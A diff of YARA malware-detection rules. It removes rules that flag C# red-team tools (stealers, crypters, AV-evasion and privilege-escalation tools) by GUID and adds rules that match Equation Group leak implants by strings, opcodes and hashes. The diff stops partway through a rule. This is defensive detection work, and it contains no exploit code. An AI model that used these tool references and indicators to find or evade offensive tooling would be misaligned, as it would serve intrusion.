+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3200-L3214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "81a74169dc8f93f314f384bd859df07a4ffaaf430b221b440de922fad3497535"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b220f51ca56d9f9d7d899fa240d3328535f48184d136013fd808d8835919f9ce"
 
 	strings:
-		$typelibguid0lo = "276004bb-5200-4381-843c-934e4c385b66" ascii wide
-		$typelibguid0up = "276004BB-5200-4381-843C-934E4C385B66" ascii wide
-		$typelibguid1lo = "cfcbf7b6-1c69-4b1f-8651-6bdb4b55f6b9" ascii wide
-		$typelibguid1up = "CFCBF7B6-1C69-4B1F-8651-6BDB4B55F6B9" ascii wide
+		$x1 = "Error in conversion. SlDecoder.exe <input filename> <output filename> at command line " fullword wide
+		$x2 = "KeyLogger_Data" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsdefender_Payload_Downloader : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Windows_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "6e494a91-c05e-5a2e-8aa9-77600f3bdd47"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/notkohlrexo/WindowsDefender-Payload-Downloader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1552-L1566"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4f0a7db1ff7dda5f66cb466cf70e717a9050541dd6a79acd9c8f5723267f5a4"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a82aac49-8843-5420-8b87-f3d7431bc63f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3216-L3229"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b6b349c98a328b4bbdd6d8718af8477c36ec219bb0076dd56998395d0ef5f32"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d38ce396926e45781daecd18670316defe3caf975a3062470a87c1d181a61374"
 
 	strings:
-		$typelibguid0lo = "2f8b4d26-7620-4e11-b296-bc46eba3adfc" ascii wide
-		$typelibguid0up = "2F8B4D26-7620-4E11-B296-BC46EBA3ADFC" ascii wide
+		$s2 = "0#0)0/050;0M0Y0h0|0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <50KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Msgkd_Msslu64_Msgki_Mssld : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "28615807-6637-57fc-ba56-efc64b041b80"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Mrakovic-ORG/Privilege_Escalation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1568-L1582"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fd2eed72a4971f494fcb924b77edb6ab49b8bde400eb2785df00b9b867692d0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cb6d4098-8ede-58ba-9851-7c8b360fb606"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3231-L3256"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f61ce58356ffca197d4a2a4aae43414bcb8f2f284dbee818124dd450f4b50cb9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9ab667b7b5b9adf4ff1d6db6f804824a22c7cc003eb4208d5b2f12809f5e69d0"
+		hash2 = "320144a7842500a5b69ec16f81a9d1d4c8172bb92301afd07fb79bc0eca81557"
+		hash3 = "c10f4b9abee0fde50fe7c21b9948a2532744a53bb4c578630a81d2911f6105a3"
+		hash4 = "551174b9791fc5c1c6e379dac6110d0aba7277b450c2563e34581565609bc88e"
+		hash5 = "8419866c9058d738ebc1a18567fef52a3f12c47270f2e003b3e1242d86d62a46"
 
 	strings:
-		$typelibguid0lo = "ed54b904-5645-4830-8e68-52fd9ecbb2eb" ascii wide
-		$typelibguid0up = "ED54B904-5645-4830-8E68-52FD9ECBB2EB" ascii wide
+		$s1 = "PQRAPAQSTUVWARASATAUAVAW" fullword ascii
+		$s2 = "SQRUWVAWAVAUATASARAQAP" fullword ascii
+		$s3 = "iijymqp" fullword ascii
+		$s4 = "AWAVAUATASARAQI" fullword ascii
+		$s5 = "WARASATAUAVM" fullword ascii
+		$op1 = { 0c 80 30 02 48 83 c2 01 49 83 e9 01 75 e1 c3 cc }
+		$op2 = { e8 10 66 0d 00 80 66 31 02 48 83 c2 02 49 83 e9 }
+		$op3 = { 48 b8 53 a5 e1 41 d4 f1 07 00 48 33 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 2 of ($s*) or all of ($op*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Marauder : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setcallback : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f2783477-2853-5dcd-95f5-9f1e07a4a6e8"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/maraudershell/Marauder"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1584-L1598"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8314db477f299931e6bb933be0234f18cfb3e36d6170b4aed1d482949aba75e8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3c06fc74-2e75-5348-bb62-30c724de1414"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3258-L3272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "63a17dd56874085753cae92f70d6248ceaac6eaea99fda0d3a551e4988a73895"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a8854f6b01d0e49beeb2d09e9781a6837a0d18129380c6e1b1629bc7c13fdea2"
 
 	strings:
-		$typelibguid0lo = "fff0a9a3-dfd4-402b-a251-6046d765ad78" ascii wide
-		$typelibguid0up = "FFF0A9A3-DFD4-402B-A251-6046D765AD78" ascii wide
+		$s2 = "*NOTE: This version of SetCallback does not work with PeddleCheap versions prior" fullword ascii
+		$s3 = "USAGE: SetCallback <input file> <output file>" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_AV_Evasion_Tool : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Doublefeaturereader_Doublefeaturereader_0 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d4257465-38a0-56b9-8402-b92e21b96cb0"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/1y0n/AV_Evasion_Tool"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1600-L1616"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "682d16cbef455680186ca9d17c3d24619e4b018cd7915cea4f0e2f2f0c843e98"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f662c961-80be-5453-86b1-c4d40ac5b732"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3274-L3293"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9049e1fe31917ecc27e57afecd5845afcd966aac83d386b7c0995c1e3378a0d0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "052e778c26120c683ee2d9f93677d9217e9d6c61ffc0ab19202314ab865e3927"
+		hash2 = "5db457e7c7dba80383b1df0c86e94dc6859d45e1d188c576f2ba5edee139d9ae"
 
 	strings:
-		$typelibguid0lo = "1937ee16-57d7-4a5f-88f4-024244f19dc6" ascii wide
-		$typelibguid0up = "1937EE16-57D7-4A5F-88F4-024244F19DC6" ascii wide
-		$typelibguid1lo = "7898617d-08d2-4297-adfe-5edd5c1b828b" ascii wide
-		$typelibguid1up = "7898617D-08D2-4297-ADFE-5EDD5C1B828B" ascii wide
+		$x1 = "DFReader.exe logfile AESKey [-j] [-o outputfilename]" fullword ascii
+		$x2 = "Double Feature Target Version" fullword ascii
+		$x3 = "DoubleFeature Process ID" fullword ascii
+		$op1 = { a1 30 21 41 00 89 85 d8 fc ff ff a1 34 21 41 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Fenrir : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Vtuner_Vtuner_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cfc6312d-5997-5261-b771-c7f3f30bf86c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/nccgroup/Fenrir"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1618-L1632"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2fb94506f10bbf9f077cb81019873c810ea983888192b0d5ccb3e5e02891288"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3794f30b-39dc-59eb-9fd3-4c7837bfd47d"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3295-L3315"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c161b36599b11264c31c54b94d6bdba53b3f13d27861ededc9f03bba394b775"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "3e6bec0679c1d8800b181f3228669704adb2e9cbf24679f4a1958e4cdd0e1431"
+		hash2 = "b0d2ebf455092f9d1f8e2997237b292856e9abbccfbbebe5d06b382257942e0e"
 
 	strings:
-		$typelibguid0lo = "aecec195-f143-4d02-b946-df0e1433bd2e" ascii wide
-		$typelibguid0up = "AECEC195-F143-4D02-B946-DF0E1433BD2E" ascii wide
+		$s1 = "Unable to get -w hash.  %x" fullword wide
+		$s2 = "!\"invalid instruction mnemonic constant Id3vil\"" fullword wide
+		$s4 = "Unable to set -w provider. %x" fullword wide
+		$op0 = { 2b c7 50 e8 3a 8c ff ff ff b6 c0 }
+		$op2 = { a1 8c 62 47 00 81 65 e0 ff ff ff 7f 03 d8 8b c1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Stormkitty : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Ecwi_ESKE_EVFR_RPC2_2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "09d66661-5b67-5846-9bea-ec682afb62cf"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/LimerBoy/StormKitty"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1634-L1650"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aef8e28d9eb5f6cd6fdc0a8bf60f00b99a920197a0ecaa75baca5a8570973ab7"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6c653b0a-fda4-51d6-bf90-bd637547fe47"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3317-L3336"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73522034c6588fee090eff87602568371562bdbcbe781ee6e152f3b854514690"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
 
 	strings:
-		$typelibguid0lo = "a16abbb4-985b-4db2-a80c-21268b26c73d" ascii wide
-		$typelibguid0up = "A16ABBB4-985B-4DB2-A80C-21268B26C73D" ascii wide
-		$typelibguid1lo = "98075331-1f86-48c8-ae29-29da39a8f98b" ascii wide
-		$typelibguid1up = "98075331-1F86-48C8-AE29-29DA39A8F98B" ascii wide
+		$s1 = "Target is share name" fullword ascii
+		$s2 = "Could not make UdpNetbios header -- bailing" fullword ascii
+		$s3 = "Request non-NT session key" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Crypter_Runtime_AV_S_Bypass : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__EAFU_Ecwi_ESKE_EVFR_RPC2_4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "726cd57b-d88a-5854-b2e1-76d9bd71a155"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/netreverse/Crypter-Runtime-AV-s-bypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1652-L1666"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "368023cf6e78965696f676a45858b671ff75f329419ec4d7a02767c81e503027"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9dc9ed95-5233-56e1-b8f1-4f27f43e7e43"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3338-L3361"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed6e0e4e5a0849aad64bbc47c047f3fe388052d0ebe89de0257d4422fb39be21"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "3e181ca31f1f75a6244b8e72afaa630171f182fbe907df4f8b656cc4a31602f6"
+		hash2 = "c4152f65e45ff327dade50f1ac3d3b876572a66c1ce03014f2877cea715d9afd"
+		hash3 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash4 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash5 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
 
 	strings:
-		$typelibguid0lo = "c25e39a9-8215-43aa-96a3-da0e9512ec18" ascii wide
-		$typelibguid0up = "C25E39A9-8215-43AA-96A3-DA0E9512EC18" ascii wide
+		$x1 = "* Listening Post DLL %s() returned error code %d." fullword ascii
+		$s1 = "WsaErrorTooManyProcesses" fullword ascii
+		$s2 = "NtErrorMoreProcessingRequired" fullword ascii
+		$s3 = "Connection closed by remote host (TCP Ack/Fin)" fullword ascii
+		$s4 = "ServerErrorBadNamePassword" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of ($s*) or 1 of ($x*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Runasuser : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Sendcftrigger_Sendpktrigger_6 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ead7819a-1397-5953-888f-2176e4041375"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/atthacks/RunAsUser"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1668-L1682"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "585db3eecb3bb91d594c1929c4790acbde8d1c44ae30de2410ef98796c297470"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "658d6f7d-2164-5e43-b5a5-d9bea9cd2e27"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3363-L3379"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fb290bdf15e0701b6d543e1f978011046abe23e58c790ee1b992a5e0443a271"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "3bee31b9edca8aa010a4684c2806b0ca988b2bcc14ad0964fec4f11f3f6fb748"
+		hash2 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
 
 	strings:
-		$typelibguid0lo = "9dff282c-93b9-4063-bf8a-b6798371d35a" ascii wide
-		$typelibguid0up = "9DFF282C-93B9-4063-BF8A-B6798371D35A" ascii wide
+		$s4 = "* Failed to connect to destination - %u" fullword wide
+		$s6 = "* Failed to convert destination address into sockaddr_storage values" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Hwidbypass : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Addresource : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "62b0541b-6eec-546e-8445-85d25bb0d784"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/yunseok/HWIDbypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1684-L1698"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "17d34d65e2867c054c7ef941c8f92a89c42f7d21a301fd5230970ac07d003d90"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cbba38fa-a906-5463-ae46-2b9c9f1bf8e0"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3381-L3398"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e59863ac7f1147cdbc34cbd2b09183487999d9f01974279c7ccc0c5af7a99976"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "e83e4648875d4c4aa8bc6f3c150c12bad45d066e2116087cdf78a4a4efbab6f0"
+		hash2 = "5a04d65a61ef04f5a1cbc29398c767eada367459dc09c54c3f4e35015c71ccff"
 
 	strings:
-		$typelibguid0lo = "47e08791-d124-4746-bc50-24bd1ee719a6" ascii wide
-		$typelibguid0up = "47E08791-D124-4746-BC50-24BD1EE719A6" ascii wide
+		$s1 = "%s cm 10 2000 \"c:\\MY DIR\\myapp.exe\" c:\\MyResourceData.dat" fullword ascii
+		$s2 = "<PE path> - the path to the PE binary to which to add the resource." fullword ascii
+		$s3 = "Unable to get path for target binary." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Xoredreflectivedll : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ESKE_RPC2_8 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9b584bfb-98ef-50ee-b546-780c4b210a1b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/r3nhat/XORedReflectiveDLL"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1700-L1716"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8df590cacf5922fcc9d059b34b88774b1afeb78b0fcffe3cc2d8578d20baf0a0"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "694a1afc-7fea-58ac-b736-44957bbc0334"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3400-L3416"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fa706fb7f138d679421fe6c5b29d6bf93893adc8bffe9dffaafa728c1b2d1d5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash2 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
 
 	strings:
-		$typelibguid0lo = "c0e49392-04e3-4abb-b931-5202e0eb4c73" ascii wide
-		$typelibguid0up = "C0E49392-04E3-4ABB-B931-5202E0EB4C73" ascii wide
-		$typelibguid1lo = "30eef7d6-cee8-490b-829f-082041bc3141" ascii wide
-		$typelibguid1up = "30EEF7D6-CEE8-490B-829F-082041BC3141" ascii wide
+		$s4 = "Fragment: Packet too small to contain RPC header" fullword ascii
+		$s5 = "Fragment pickup: SmbNtReadX failed" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <700KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Suite : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ETBL_ETRE_10 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ab3cf358-a41d-584d-baaf-5e8f7232ca85"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/FuzzySecurity/Sharp-Suite"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1718-L1773"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d71931b45525607ed0f442a925540dba3663aeae9b5e1fa8380ffe0ce2b5f5eb"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7dfff868-cb66-51c0-a7c7-5cc872232b86"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3441-L3458"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
